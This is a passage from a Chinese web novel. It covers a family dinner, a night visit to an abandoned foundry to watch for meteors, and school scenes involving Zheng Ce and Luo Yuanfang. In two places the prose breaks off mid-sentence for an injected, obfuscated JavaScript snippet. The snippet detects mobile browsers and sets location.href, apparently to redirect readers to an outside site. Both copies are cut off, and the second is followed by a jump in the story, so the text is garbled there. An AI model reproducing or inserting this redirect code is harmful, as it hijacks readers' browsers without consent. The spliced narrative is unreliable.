特别对一些狗嘴里吐不出象牙的烂剧集中火力。 整个晚饭吃得群情激昂。 “哎哟下面又在跑什么广告呢?” 骆淇眯着眼睛尝试看清,“这么小的字儿,生怕有眼睛的人看见了……云朵儿往后坐!你都快把电视给吃了!” “千与千寻,看这个,马上要变猪了。” 骆乘光往碗里夹了块儿红烧肉,调了第一百个台后目不转睛盯着。 这是盘子里最后一块儿,顿时招来骆远方的不满,“女孩儿看的,你看这么起劲儿呢?” “那你把眼睛闭起来啊!”另外四个人一起攻击他。 “我不,我怕把饭喂鼻孔里。” 骆远方笑着夹起一筷子土豆丝混杂一根拇指粗的擎天柱。 今天骆淇做的腊肉饭,米饭和腊肉香肠豌豆一起煮,油光水滑,软糯回甘,很香。 他看了眼郑策,蛐蛐道:“吃一口擦一下嘴,累死了吧。像这样大口吃才过瘾。” 江蔚云听这话,嘴里包成松鼠,噗噗噗记录咕噜地说。 “什么?”骆远方瞪大眼睛看她,像是努力理解外星语。 “呸呸呸,叫你正月里不要乱说话。” 郑策当翻译道,“反正这纸最后都要擦嘴,这样多擦几次划算。” “……骆淇遇见你俩也是王八遇上绿豆了。” 骆远方还没说完忽然哎哟一声,一脸痛苦。吐出什么东西,砸在地上哐当一声。 这是把牙嗑掉了? 骆远方用筷子指骆淇,“外婆,你竟然用铁腕豆害朕。” “洗的时候就发现了这颗铁豆,看谁运气好吃着呗。” 骆淇幸灾乐祸地说,“半大小子吃穷老子,我不得给你点颜色?磕掉一颗牙正好少吃点。” 骆淇说完,又看了眼郑策碗里的饭,都快吃完了。 “还有这位,你,待会儿是有什么急事吗?慢点吃行不?我们这节奏都快被你带上快车道了,不消化可要怪你啊。” 郑策有些不好意思地笑笑,“我习惯了,怕别人等我。” “等就等呗。” 骆淇说,“反正骆远方也不急着洗碗……尝尝自家泡的豇豆,开胃。云朵儿再多吃点,长长肉!” 江蔚云被点名,忽然眼睛一眯,笑着吧咋嘴,一脸幸福边点头边开唱:“好吃好吃好吃——我真的好吃——” 唱了一半她忽然良心发现道:“奶奶,妈妈说吃饭看电视对消化不好,一般都不许我们看电视。” “胡说八道。” 骆淇睁眼说瞎话,“我这么吃了半辈子也没死,有什么关系?待会儿还能再来顿夜宵。” 骆乘光听到这话,停下看千与千寻,终于瞅了她一眼,立马被骆淇给瞪了回去。 一顿饭吃得相当嘈杂且混乱。 饭桌上似乎有种奇妙的氛围以及没心没肺的快乐。 骆淇这样放任的生活方式,竟将两兄弟也养的很好。除了一个比一个冷漠以外,还挺幸福的。 郑策本还在担心门外静坐的人,现在有点皇帝不急太监急的尴尬。 她一直被在外拼搏的父母教导要不断努力,要为自己留后路,要不断去拼。 然后等,等机会百分之九十九成熟,甚至百分之百再动手。 现在忽然有人告诉她,没关系,边看电视边吃饭也吃不死人,有一份快乐就去享受一份。 恍惚间。 这里的人和小时候遇见的那个男孩重合了。 鼻尖混杂饭菜香和老旧家具发潮的气息,她却从未有过的踏实。 郑策虽然最后强烈要求洗碗,但骆远方还是在骆淇的更强烈拥护下,独揽了洗碗的大权。 这顿饭吃得风风火火,骆家三口人几乎能抵一个足球队的音量,郑策现在脑子还嗡嗡的。 她站在洗碗池边沉默着帮忙。 “要问就问。” 骆远方看她一眼,手里熟练地转着盘子,“憋这么久也是辛苦你了。” “……那个,你们还差多少钱?” 郑策犹豫了下,“我这儿不能全给,但能匀出来一点。” 骆远方手里动作一顿,他知道郑策会问门外的人,没想到直接跳过原因,帮忙想解决方案。 骆远方继续转着碗沿,用水冲洗。 “不用还,爱闹闹,我们不该他们的。” “哦。”郑策接过洗好的盘子,晾了晾往碗柜里放。 她其实多多少少有些愧疚。 今天才知道骆家生活也不怎么样,自己还白占了别人用来出租的房间…… 忽然,身后传来一声叹息,龙头里的水关掉,厨房里落针可闻。 就听见骆远方在背后轻声说:“又在想什么呢,别什么事儿都往自己身上揽,你脸没那么大。房间不给你住,就骆淇那些条件,只有天神能住的进来。” “我没想。”郑策说,“可能就是这两天事情太多了,脑子糊住了反应慢。” “那晚上洗澡的时候记得空空水,咱学霸脑仁儿本来就不够,还被浆糊填满了。” 郑策笑骂:“你滚不滚?” 骆远方欠揍道:“滚不了,全家洗碗都靠我呢。” 总算打扫完,郑策又看见骆远方拿了本作业出来,她奇道:“你要补寒假作业?” “你没有?” 骆远方不可置信地看她,然后几乎跳起来。 “我靠,柯言区别对待啊,见成绩忘义的女人!” “我成绩……”郑策结巴道。 “骆乘光!” 也许是被激着了,骆远方忽然朝卧室大喊,“过来帮哥写作业。” “做梦吧你。”骆乘光回他,“不是说要认真学习了么?” 骆远方又是一嗓门,开始耍无赖:“骆淇,我补不完作业怎么认真学,学不了了!” 骆淇在沙发上,头也不回地吼:“骆乘光你过来帮他抄最后一次!” 卧室里的人立马偃旗息鼓。 果然姜的还是老的辣。 卧室里没有容纳课桌的空间,要写作业就得在电视对面写。 郑策对这种考验干部学习毅力的事儿感兴趣,也拿了笔坐在茶几边。等着开饭一样好奇道: “我帮你抄点吧。” “不用。”骆远方下意识说。 “……啊。” 郑策觉得他大概是不想麻烦自己,也没必要上赶着帮人抄。 两个字就能让她鼓起勇气前进的一步,瞬间退回自己舒适区。 “行吧。” 因为离得近,一瞬的失落完完全全落进了骆远方眼里,他慌忙又想开口。 “我小姨妈抄得可快了!”江蔚云抱着一盒菊乐酸奶在旁边小心嘬着,打了个奶嗝儿。 “是啊,抄作业你还挑三拣四。” 骆淇盘腿坐在沙发上说,“是不是就打算抄不完,借口不好好学习了?让郑策抄!” 这声河东狮吼让郑策耳边瞬间响起电流声,她吓得差点蹦起来,下意识闭上眼睛。 不是。 邻居们是聋了吗都。 不过还挺有趣的,有种原始的自在。 她好像也快习惯了。 “抄抄抄。”骆远方递过去一本练习册,“我巴不得有人帮我。” “这是什么歌?” 抄了一会儿,骆乘光看见桌上的磁带盒,是郑策下午帮着带回来的,伸手就去拿。 “周杰伦的啊,最近有个舞适合这个音乐。” “放下。” 骆远方用笔在他手背上敲了下,敲出嗷呜一声响,看来下手不轻。 郑策看了他一眼,这得是有多爱周杰伦啊…… 但她心里还没为骆乘光打抱不平,就看见骆乘光的脑袋凑了过来,感叹道: “姐你这是画的什么厉害的符咒,要了命了——” 郑策比较了下自己的画和两兄弟的书法,“我……这样是不是很容易看出来不是一个人写的?” 骆远方憋着笑点点头,“得是瞎了才看不出来,要不你明天去刺杀柯言?” 郑策把书往前一推,“我不抄了。” 三个人小声地笑起来。 旁边沙发里的骆淇忽然惊醒,看了眼时间,咕哝道:“都这么晚了,新闻里说今天有流星,走去三厂看看。” 骆远方把书一合,有些犹豫:“现在?” “走不走?”骆淇打了个哈欠,“不走我走。” 骆远方扫了眼郑策。 虽然很谨慎,但郑策瞬间明白过来,这个什么厂可能不方便为外人道,立马说:“我就不去了。” “啧,专门带你去我们的秘密基地。” 骆淇帮着解释,“也不是什么秘密基地,就是越少人知道越好,带你去是信得过你,去不去?” “去。”既然都说到这个份上,郑策果断说。 还看了看骆远方。 “那走,作业还有时间补。” 骆远方干脆道,“我再去店里拿点烟花。” “去店里别带打火机啊!”骆淇忙叮嘱。 “云朵儿要睡吗?” 骆淇四处找了圈,却发现江蔚云已经整装待发在门边跳了两下够门把手。 她笑着说:“哎哟下回给你装个小矮子专用门把手。” 莫名其妙。 郑策不能在这种时候说自己不想去,会显得不合群。 但她走在路上,半夜的寒风直接扇在脸上时,她脑子里只有这四个字: 莫名其妙! 而且看样子,骆淇是压根不会管他们明天还要上课。两兄弟好像也无所谓,大包小包装着吃的,跟要春游似的。 但是谁家好人半夜春游啊! 不过这种说走就走,不考虑后果的决定,还,挺爽的。 说学名郑策不知道是哪儿,但跟着一走,她立马反应过来。 他们口里的三厂是坟山下那个废弃厂子。 “这里面随便进么?”郑策站在铁门外,有些迟疑。 里面没灯,只靠月光铺了薄薄一层银光,大部分地方藏在阴影里。 骆远方举起手里的强光手电筒照在她背后,前路瞬间光明万丈,中间唯一的阴影就是她的影子。 骆远方在身后问:“害怕?” “没,就是关着门呢。”郑策指了指。 骆远方说着敲了敲门卫的玻璃,看着风可进雨可进的小房子竟然忽然亮灯了。 “叔,给你带了自家闷的腊肉饭,明天热热就能吃。” 门卫睡得一脸迷瞪,五官皱在一起看了他们一眼,“你们还真是想一出是一出,快快进去!” “这么个烂厂子也有人守?”郑策有些吃惊。 “里面好些钢材呢,人进出不会管,车进出会查后备箱。” 骆远方看着她欲言又止的模样又笑着补充: “但如果一堆人像蚂蚁搬家一样排队偷钢材,肯定也是出不去的。” “没人来偷的,犯法的啊。” 骆淇在旁边说: “这里的人对国家大事不一定知道多少,但对这封锁区的安检都了如指掌。一般不让进,所以这里面安全得很。但是偷偷摸摸从坟山上下来也没人会管。小地方就是这样的。” 郑策想起上回在坟山,骆远方角度清奇地如同土地爷钻出来,想必是从三厂里刚出来。 以前她很少来这边,只知道这里有个铸造厂。 如今却都已经萧条了,冲天大烟囱停止作业,沿路的房屋都被废弃。只隐约还能分辨出宿舍区和小超市的招牌。 路很宽,一地的落叶被晒了半年,踩在脚下又干又脆。 两旁是高压电线杆,黑胶包裹的电线顺着前路的方向平行伸向远方,又似乎相交在黑暗里。 “到了,这儿是我年轻的时候和你爷爷住的员工宿舍。”骆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823824|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淇说。 他们面前是一栋坍塌了一半的二层小楼,没有花哨的装饰,水泥砖墙残缺不堪。 天花板已经被拆掉了,他们顺着楼梯上去,二层只剩下一半的露天场地。 房屋外墙边缘爬满待复苏的爬山虎。 枯藤缠绕,风一吹,窸窣作响。 似乎最后的生命也抛弃了这座古老的城堡,使这栋房子看上去年代感十足。 骆远方和骆乘光熟门熟路地在角落的预制板里翻出几个凳子和一张折叠小桌。 郑策抬头望了下月亮,在这里看星星还别有一番风味。 虽然在坟山脚下,但地势远比城里面高,可以看见顺着涪江散落的灯火,还有顺着道路蜿蜒的路灯。 在这样静谧又辽阔的场景中是无言的。 一时间没有人说话,只听见夜色中不断传来嗑瓜子和花生的声音…… 骆淇拿出电话,按了几下,不知给谁拨了过去。 郑策对她半夜打电话扰民的举动很震惊。 又对对方秒接还没生气更加意外。 “姐啊,还没睡呢?” 骆淇笑着问,“老了老了,觉少啊……是不是又坐电视面前打瞌睡,小辈叫你回床上睡,虽然一集没看懂,愣是要把这集看完啊哈哈哈,你个老顽固……” “没什么,今天我们又来三厂了,忽然有点想咱妈了……还有何三妹,纪家大姐,最近怎么没听说葛家那两人的事儿呢……” 与平时的大嗓门不同,骆淇这个电话讲的很温柔,四个小辈就沉默地在旁边听,偶尔嗑嗑瓜子,吃到一颗坏了的,呸两声。 郑策听到骆淇其实还有一个姐姐,不过得了老年痴呆,已经不认识她们了。 骆淇打电话的时候给郑策一种撒娇的错觉,感觉她像个不懂事的妹妹,在姐姐面前抱怨身体不利索了,蹲下去没准儿就站不起来了。 直到骆淇忽然抬手擦了擦眼角,她才借着月光在那张布满褶皱的脸上看见一丝晶莹,但又很快消散。 他们不只是来看流星的吧,郑策想。 过年了,老太太想自己以前的家了,想看看过去。 而这过去却被铁门和飞速的城市化给关了起来。 暮色加持下,铸造厂像是另外一个被抛弃的世界。 在不断地发展和向前中,像骆淇这样的人被留下。 她也愿意尝试新的事物,去外面看更多的世界,但心里总有淡淡的悲哀。她认识到自身的局限后,自愿将自己的一部分留在了过去。 挂电话后,骆远方顺嘴问了句,“电话里说的那些都是亲戚么?怎么没见过?” “废话,你当然没见过。” 骆淇啧了一声,又感叹道: “各自成家,离得远,就来往得少了呗。老些人都走了,你们小一辈记得他们的人也不多了……” “报纸呢,我想躺着看。”骆淇问。 骆远方撤走凳子,铺开报纸又垫了一层干茅草,跟着也枕着胳膊躺下去。 骆淇对旁边的郑策说,“所以啊,没有什么过不去的,年轻的时候想着所有事快点过去。老了老了,越舍不得了。人呐,是很难随着快死了而释然的。” 郑策毕竟年轻,不知道怎么安慰她,咳了两声。 骆远方的声音带着笑意从旁边传来,“不会说话就闭着,没必要理她,夜来非呢现在。” “滚蛋。等铁路修好了,我就远走高飞,趁着还能动,得到处去看看……” 这里能看见山野里铁轨的一角,穿城而过的火车,却从不在这座城市停留。 铸造厂之前一直走公路运输,老厂子没等到高铁站修好,骆淇想替它看看。 四个人躺在简易版草席上沉默着看星星,但一个流星的屁都没看见。 江蔚云在月亮下蹦来蹦去,说她是公主,月亮都会跟她走。 跳了会儿,她指着对面山顶上的建筑问那是什么。 郑策望过去,只能看见一个剪影,古代中式建筑,隐约还能看见飞檐和吊着的风铎。 “哪吒庙,埋着小哪吒呢。”骆远方说。 “谁?”郑策不敢相信自己的耳朵。 “谁埋那儿了?” “哪吒,咻咻咻那个。” 骆远方说着唱了起来,“是他,就是他,是他,就是他,少年英雄——小哪吒……我们的朋友——小,哪,吒!” 郑策看着他没说话。 骆远方过了会儿说,“我不是傻子。爱信不信。” 说着他就要起身,脚却踩上一个软绵绵的东西,他以为踩着江蔚云了,腿一松劲儿,直接向郑策倒过去。 “呃。” 郑策被这一压,差点把魂儿给吐出来。“你大爷,骆远方!” “不好意思不好意思,我打算去放烟花来着。” 骆远方一顿乱撑,慌张间又撑在郑策手臂上。 “你先别动!”郑策嘶哑着声音说,“再被您压几下,我就要废了。” “哥。”骆乘光坐起身打算帮忙。 “没事。”骆远方轻声说,语气里却有些难过。 月光从侧面照在他脸上,郑策只能看见他眼睛眨也不眨,浓密睫毛像是僵住了。 有那么一瞬,郑策想起了盲人。 因为无法聚焦,他们眼睛里总是茫然的,就跟骆远方此时无助的睫毛一样。 她试探性地在他面前挥了挥手。 没有反应。 月光虽暗,但因为没有顶棚,这里一切都依稀可辩。 郑策心里猛地一紧,再想尝试晃两下,忽然被骆乘光握住手腕。 她向骆乘光望过去,他只皱着眉对她摇了摇头。 “哎哟,怎么还赖人姑娘身上不下来,快把你丢人现眼的哥给拉起来。”骆淇在旁边说。 郑策心里说不上来,有些堵得慌。 她紧张地看着骆远方若无其事借骆乘光的力站起来,动作却比平时笨拙数十倍。 然后两人脚下一滑,扭了个麻花,重心不稳,又双双向另一侧倒去。 咚的一声响,骆乘光龇牙咧嘴道:“你踩死我得了,还留口气儿干嘛啊?” 但郑策明显看到,骆乘光往下倒的同时把骆远方往自己身上一拉,当了个肉垫。 “哎哟你们三个加起来能有六十岁吗?” 骆淇嫌弃道,“这动静,还以为我们要拆房子呢。天塌下来,就当被子盖,一惊一乍的干什么。” “我可以我可以。” 骆远方面对骆乘光不客气多了,吃力地把他推开,摸索到手电筒打开,才松了口气。 “你可以狗屎,你可以。”骆乘光有些生气。 “别骂脏话行么?” 骆远方一言难尽地看着他。“你这毛坯的嘴,什么时候装修一下得。” 江蔚云看着骆远方拆烟花,真诚发问:“狗屎也是脏话吗?” 郑策刚喝了水,听见这话,噗嗤一下喷出来。 “……” 打不败纯真,骆远方转移话题,“来来来,放烟花,店里新进的冷烟花,看看效果先。” 他把手电筒关了,点燃打火机,对准引线,刺啦一下,火星在夜色中闪烁。 骆远方退后几步,刚明明看好身后空地没有杂物,脚下却还是一歪。 身体一斜,就在他以为又要摔个狗吃屎的时候,手臂被人一扶,他靠到了一个人怀里。 鼻尖他闻到了熟悉的奶味儿。 “小心点。” 郑策在他耳边轻声说。 于此同时,火光直冲云霄,留下转瞬即逝的点点星光,在深空中炸出一片金黄。 伴随着簌簌燃烧的声音,还有不知是谁加快的心跳。 郑策同样抬头望着那束烟火。 脸上被照亮的一瞬,她看见了身边担当一切又默默无言的骆远方,还有完全沉醉在烟花之美的江蔚云,以及有些忧心地看着他们的骆乘光。 骆淇在对天空笑着,双手圈在嘴巴前面,欢呼了声,眼睛眯成一条缝。 她忽然发现,有的人相识几十年都未必相知。但神奇的是,融入有的人,只需要一瞬间。 16. 不讨厌 “阿狸?”江蔚云忽然看着楼梯转角处喊了声。 郑策顺着望过去,就看见黑暗里有个白色的东西在动。 她下意识往骆远方前面站了站。 “小狐狸?”骆淇也朝它喊。 “还挺机灵,看见烟花就知道我们来了,来,奶奶给你带了饭。” “没事。” 骆远方轻声在她耳边说了句,转身朝骆淇走去。 “小家伙闻着味儿了吧?” 一股奶味儿。 “野生狐狸?”郑策谨慎地看着他们那边。 “不是野生的。” 骆乘光也见怪不怪,帮忙取出盛好的饭菜,解释道。 “以前这儿有人非法圈养,后来被查封了,全部要带走,这只应该是逃出来的。” “这里虽然对它不好,它也离不开这里了。” 骆淇看着小狐狸垂头舔食,笑着说。 “它还是骆远方发现的,那段时间每次都要带些吃的出去,还以为在外面包养了个乞丐呢。” “谁家乞丐吃那么点剩菜啊。”骆远方笑道。 骆淇点点头,叹道:“也是没想到,这么怕狗的人,能主动喂这么个狗玩意儿。” 狗玩意儿的毛是纯白色,在山林里混久了,粘上些灰,但在月光下仍旧格外明亮。 腿上肌肉矫健,没有人工养殖的肥态,很漂亮的一只狐狸。 骆远方虽说不怕,但也不近不远站着。 有种小孩儿对新玩具十分好奇,眼神里净是喜爱,又束手束脚不敢去玩儿的拘谨。 这种时候还……挺可爱的。 喂了一阵,江蔚云玩得最嗨也困得最早,最后一把烟花熄灭的瞬间,她眼睛也坦然地合上了,在郑策怀里嘟囔了句“晚安汤不理不”。 虽然不知道未来还会发生什么,但郑策看着骆淇忽生感悟,偶尔清醒地困于其中,这就是每个人的日子吧。无论是好是坏。 回去后他们每个人都跟被打了一拳似的,倒头就睡。 第二天郑策醒来时,骆远方和骆乘光已经走了,骆淇在窗户边凑出半颗头,聚精会神地看什么。 郑策把江蔚云揉醒,也凑过去,“看什么呢奶奶?” 这一凑,她才猛然看见对面楼不同楼层不同房间纷纷也探出几个好奇宝宝,每个宝宝身上睡衣都没换,有的甚至还拿着牙刷。 “你再骂一句试试!”楼下传来一个女人的怒吼。 “骂就骂,你还想怎么样!”回嘴的是一个男人的声音。 还真是精力旺盛,大早上吵架,郑策伸了个懒腰。 “捡了二十块钱,吵成这样。” 骆淇撇嘴道,“说不定他们谁的也不是,就为了贪便宜。” 她有些怅然地靠着窗台,风拂过花白的头发,露出浅浅褶皱的额头。 骆淇摇摇头,不屑道: “我是受够了这样斤斤计较的日子。年轻的时候瞻前顾后不敢越雷池一步,老了老了叛逆期到了。” 楼下绿化太好,刚巧把吵架的人给挡住。 郑策就听见有来有回几声“你瞅啥”“瞅你咋地”,但迟迟没人动手,就没兴趣听下去了。 昨晚江蔚云丢了二十元,指不定呢…… 也真服了这老太太,没画面也能把这热闹给凑上。 “我让骆远方先走了,让多嘴多舌的人看见你们一块儿上学,指不定会在背后编排你们。” 骆淇头也不回地说,“早餐在桌上。对了,你兜里的袖带昨晚掉客厅了,在学校不想引起注意千万别这么马虎了啊。” “知道,谢谢奶奶。” 郑策二倍速把早饭解决,又强迫江蔚云也二倍速起床。 今天江蔚云也该开学了。 她一边帮江蔚云收拾书包,抽空手动把小姑娘眼皮撑开,嘴巴里还不停叮嘱。 “笔带了吗?校园卡呢?纸巾?今天绘画课的蜡笔?红领巾?……” “哎哟我发现你比我还唠叨。”骆淇靠在门框上,朝江蔚云眨了眨眼,“反正和骆乘光一个校区,忘带了让骆乘光跑一趟也没几分钟。” “不行,不能养成依靠别人的习惯知道吗?” 郑策在江蔚云脸上搓了搓,把她牵到骆淇身边,“骆奶奶,那就麻烦你去送她了。” 小手一交接到骆淇手里,江蔚云立马活力四射,连打带踹让郑策快走。 郑策笑着指她:“嘿这小王八蛋。” 昨天太紧张没注意,再来到校门口,郑策发现这个学校也有满墙的爬山虎。 冬天还没过去,藤蔓像干瘦的血管,耷拉下来。一层一层,又像悬挂着厚厚一层棉被。 再过一个月,春风一吹,仅存的一滴血也能唤醒这面墙的春天。 到教室的时候没看见骆远方,桌上的语文书还是昨天摊开的样子。 这是,逃课了? 预备铃响,人已经七.七.八.八到齐。 安城北姗姗来迟,坐倒数第二排的人偏从教室前门进,跟巡游似的。 郑策看了他一眼就迅速撇开头。 这人怎么跟骆远方一个德行,总得受着点伤才舒服。 安城北本想从隔壁列倒数第二排的男生背后直接跨过来。 腿刚迈出去,没成想那男生往他还没站稳的脚一勾,安城北直接劈了个叉。 “我操你大爷……” 安城北痛心疾首,一连串拍他的背,“快快快,安家要断子绝孙了。” “靠,我以为你对我有想法呢。” 那男生嘿嘿一笑,站起来给安城北腾地儿。 “这么亲昵的动作。” 教室里又是一阵喧闹。 安城北虽说也是从体训班转来的,但性格和骆远方大不同,才半年的时间就和班里的人处得同爹同妈了。 他走过来时郑策没看他,倒是一贯不怎么理人的林歌扔给他一片创口贴,“脸上的伤,贴一下吧。” 安城北楞了下,脸唰得红了。 瞬间没了刚才死皮赖脸的架势,瞪了半天眼睛,木木地点头。 郑策虽然没看他,但听见安城北忽然噤声和几声木讷的“嗯”后,还是没忍住笑。 她戳了戳林歌,俯身去小声道: “辛苦你了,我和他不认识不好给,如果不是晕血看着难受……” “没事没事。” 林歌也转头朝她眨眨眼睛,笑容根本掩饰不住。 “也没想到他能自作多情到这个份儿上,我平时都没怎么和他说过话。” 旁边独留小安心脏砰砰乱跳。 他这是,一大早被人表白了? 坐了一学期的伪同桌,是一见倾心还是日久生情? 愣神间,讲台上忽然响起一阵浑厚悠扬的音乐。 “轻轻敲醒沉睡的心灵,慢慢张开你的眼睛……” 班上跟蜂群一样的嘈杂瞬间安静下去。 再看讲台上,柯言已经不言不语翻开教案,把课件传到了教室屏幕上。 唱到“唱出你的热情,伸出你的双手,让我拥抱着你的梦”的时候,全班终于在集体愣神中,爆发今天默契的第一次爆笑。 就连柯言也没继续装作若无其事,她笑着问: “清醒了吧?醒了我们就翻开《氓》……” “报告。”骆远方踏着最后一声铃踩点道。 柯言朝他点了点头,继续道:“氓之蚩蚩,抱布贸丝,这句话……” 骆远方回到座位上的时候楞了两秒。 然后用两根手指夹着语文书晃了晃,没察觉到异味儿才坐下来。 倒是旁边有一股很浓的薄荷糖味儿。 他朝郑策看了眼,这人保持着一手扶着额角的姿势,脸都快亲到书上了。 这是有多困呐。 还想着和她换一本语文书,现在还是算了吧…… 郑策皮肤很白,右颊侧包着一颗薄荷糖,头还小鸡啄米地朝林歌参拜。 看来昨晚熬夜熬狠了。 远处迎春藤上着急地开了两朵黄色小花,晨光眩晕的背景里,有铁路上火车飞驰而过的声响。 窗外生机又嘈杂的春日为框景,郑策的轮廓在眼前逐渐清晰。 这人困得似乎根本没注意到他的出现。 看着郑策缓慢翕张的睫毛,像是逐渐停止运作的机器,骆远方莫名想起蝴蝶效应。 大西洋彼岸一只蝴蝶振翅,带动此地一场风雨。 “笃笃笃笃,呜——”货运火车忽然鸣笛,穿城而过却不会在此地有任何停留。 柯言无奈停止讲课,这声响将女孩吵醒,他连忙转过头去。拿出笔想假模假样在书上写两句翻译,甩了两下却都没甩出墨来。 就在他准备给安城北一脚的时候,啪的一声,一根笔被拍在他桌上。 “不用谢。” 郑策眯着眼睛说。 这声响说大不大说小不小,周围两桌外一般不会注意。 但好事者安城北跟被点了穴一样,下一秒就转过来。 看见郑策嚯哟了一声,“学霸还春困呢,昨晚偷牛去了?” “管你呢。” 骆远方说,“还有创可贴么,给我来一个,丫杨吟出手太狠,刚发现手上给我划破了。” “……没有。”安城北又是一激灵,转过身去坐得笔直。 “抽风呢你。”骆远方看着他后脑勺说。 “扣得你。” “啪啪”又是两声,“唰唰”又是一声,郑策递过来了几张创口贴,一瓶香水,还有一袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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经过漫长的心理活动和自我疗愈,郑策总算从歉疚和自责中脱离出来。 变得厌世,不,厌骆远方。 睡意全无,她一手撑着下巴,一手有一搭没一搭地转着笔。 “阿嚏!” 讲台上柯言打了个喷嚏,然后笔直朝他们这边走过来,目的明确地抽了两张安城北桌上的纸巾。 “春天来了,花粉到处都是,你们出门最好戴戴口罩啊……来,我们接着讲……” 整个过程行云流水,宛入无人之境。 安城北小声不服:“好歹知会我一声啊!” “对了。”柯言捏着鼻子转身。 “安城北你,一节课跟全班的人都传了个遍的纸条吧。还挺青春啊。” 她把书往讲台上一合。 “你上来,本色出演一下氓里面这个渣男,我看你正合适,来。” 安城北扯着嘴角:这种知会倒也是不必了…… 此时,他后座的骆远方作为安渣男聊骚中一名受害人,看着手里的纸条出神: 新来的学霸好像对你有意思,但哥们儿劝你不要碰。 …… 这人是眼睛长脑袋后面了么? 除了黑板,哪儿都能看。 他当然感受到了郑策各方面的好意。 只是…… 趁着安渣男在讲台上背诵《氓》,骆远方迅速扭头看了眼郑策。 然后,就和伪同桌直接来了场惊心动魄的对视。 “看什么?” 郑策问,她把笔帽一和,拍在桌上。 “你要是讨厌我,早说啊,我搬走就是。” “搬哪儿去?” 骆远方顺嘴问。 他忽然想起骆淇说这姑娘也不知道能住多久,拧着眉。 郑策不说话。 她确实一时也想不出个去处来。 只是有话不能直说么,真烦。 郑策不耐烦抿了抿唇,嘴里的薄荷糖早就化了,留下淡淡的清香。 台上安渣男背错一个字,罚抄一遍原文,在柯言数到九十九的时候。郑策听见旁边的人说了声: “没有。” 她沉着脸,脑袋没动,只把眼睛转过去,斜眼儿瞪骆远方。 以示不爽。 但心底却有什么情绪在翻腾。 骆远方犹豫了下,又看着她道:“不讨厌。” 17. 你们学霸心思重 郑策挑眉看了会儿骆远方,眯着眼睛打量他到底是个什么品种。 “抬头纹出来了。” 骆远方看了她一眼转过头去,“上课。” 郑策不是不想上课,只是她有些看不懂了…… 不论是这个人,还是眼前的书。 她垂眼盯着语文书发呆,上面的汉字跟鬼画符一样活动起来。 黑色字符做着广播体操在书页上疯癫般窜来窜去。 现在已经到第七节,跳跃运动了。 她一时有些慌乱,只能佯装镇定又瞪了会儿课本,依旧无济于事。 太阳穴跟打鼓一样跳着难受,郑策闭眼捏了捏眉心。 等安渣男在讲台上就义,才终于等来了下课铃。 忽然,桌上的水杯被林歌一把拿走,这风一样的女人就窜到到教室最前面的饮水机旁。 郑策看了眼层层阻碍的通道。 这得是经过了怎样非人的训练才得到的神功啊…… 欲练其功,必先读富乐九中…… 林歌接好热水的下一秒,饮水机红灯亮。 后头排队的人嚷嚷着一哄而散。 又是一个没有热水的课间呢。 “看见我的速度了吗?” 林歌把水杯放她桌上,“稳准狠,才能有热水喝。” “……谢谢啊。”郑策接过杯子。 要她每节课下课这样去抢,她宁愿渴死。 “走去厕所,我们已经错过最佳时机,现在肯定在排队了。”林歌又说。 郑策兴致不高,本想说你自己一个人就尿不出来了么,但看在一杯热水的份上,跟着起身。 林歌在班里和别的同学关系似乎不太熟。 能说得上话的多,但交心或者说一起上厕所的人没有。 高中女生都是成双入对的,女孩心思又更敏感。 一旦一个人走在路上,总会觉得引人注目。 自己脑补所有人看过来的目光里都带着“她是不是不合群”的疑问。 郑策能看出林歌在拉拢自己,想要个能一起吃饭,如影随形的伙伴。 但很抱歉的是,她已经过了吃喝拉撒都想找个人陪的阶段。 虽然那个阶段她也是一个人。 而现在。 她更想一个人待着。 女厕所里很热闹,门里门外的人聊得热火朝天,郑策还挺佩服这群青春靓丽的女孩儿能受的了这里弥漫的氨气炸弹。 “哟白嫖怪也来上厕所?”一女生路过她们的时候,非常不客气地朝林歌看过来。 “不打榜不签到不买专辑,别让我们再听到你说喜欢他们。”旁边的女孩也瞪过来。 郑策拧着眉毛看过去。 “不是的,我买,打工赚钱了就买。”林歌有些急道。 “管你买不买,白嫖这么久,就不配当粉丝。” 女孩很漂亮,说这话的时候脸上虽然带着笑,但眼里全是厌恶。 她们一行人都挺注重打扮搭配。 开学还没要求穿校服,棉衣下套着短裙和肉色腿袜,一双腿又细又直。 可惜了。 “可惜人品太差。” 郑策低头理袖口,声音不大不小,沉稳,又极具挑衅。 “你哪儿的?”女孩看她。 林歌拉了下郑策的手,郑策不在意地拍拍她的肩。 “别。” 郑策撩起眼皮,她现在装狠的功夫驾轻就熟。 “他妈指我。” “想打架是不是?” 女孩被一堵,高声道,挺胸抬下巴就走过来。 此时,厕所里人走得稀稀拉拉,门外逃生通道上还站着几个,一看情况不对就预备跑的,好看热闹的人。 这丫电视剧看多了,光顾着瞪眼睛,挺胸抬头就走过来,跟村口傻老三似的。 郑策用不了两秒就能把她鼻血给召唤出来。 “嚓”一声,两人中间亮起火光。 女孩一楞,吓得停在原地。眼中有些迷茫地闪烁着火光。 郑策学着社会大哥的样子,嘴里叼着根烟,慢条斯理地垂眸去点火。 “我告你抽烟!” “我告你霸凌同学,个脑残粉丝。” “她乱领粉籍,我教育一下怎么了?又没打没骂的。” 女孩不敢往前,就看着郑策叼着烟,也不吸一口。 “粉籍是什么高贵的东西么?” 郑策两根手指夹着烟,虚着眼睛看她。 “你这样顶着所谓粉籍到处给你idol招黑,你对得起人家么?你他妈又分个der的高低贵贱啊。” “我每天去做数据,去抢周边,帮他们宣传,我凭什么不能!我有资本。” 女孩眼里还是空无一物的傲慢。 “比她有!” “再说一遍,别,指,我,们。” 